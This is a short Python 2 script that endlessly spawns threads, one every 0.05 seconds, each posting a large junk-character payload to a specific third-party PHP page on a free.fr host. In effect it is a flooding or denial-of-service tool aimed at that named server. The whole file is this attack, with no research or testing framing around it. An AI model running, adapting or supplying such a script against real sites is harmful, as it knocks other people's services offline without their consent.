import urllib import threading import time data = urllib.urlencode({'MDP' : ':\r\n\t\b\t\n\n:$%' * 500}) class Haha(threading.Thread): def __init__(self): threading.Thread.__init__(self) def run(self): global data try: urllib.urlopen('http://serveur.4.free.fr/cryptagemd5.php', data) print 'OK' except: print 'NOK' while True: time.sleep(0.05) Haha().start()